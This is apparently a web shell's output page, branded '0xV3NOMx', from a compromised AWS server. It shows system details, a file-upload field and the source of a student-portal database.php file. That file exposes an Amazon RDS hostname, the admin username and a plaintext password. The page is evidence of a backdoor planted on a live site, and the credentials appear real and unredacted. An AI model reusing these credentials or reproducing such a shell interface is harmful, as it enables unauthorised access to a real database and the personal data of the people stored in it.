0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.147.56.125


Current Path : /var/www/html/demo/studentportal/src/
Upload File :
Current File : /var/www/html/demo/studentportal/src/database.php

<?php
	session_start();
	// if(isset($_SESSION['DBUSER']) && $_SESSION['DBNAME'])
	// {
		$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
		$username   = "admin";
		$password  = "T0g3th3r@all";
		$databse = 'logisys3_demo';
		/*$servername = "localhost";
		$username   = 'root';
		$password  = "";
		$databse = $_SESSION['DBNAME'];*/
		$conn = new  mysqli($servername,$username,$password,$databse);
		if(!$conn) 
		{
	        die("Connection failed: " . mysqli_connect_error());
		}
	// }
?>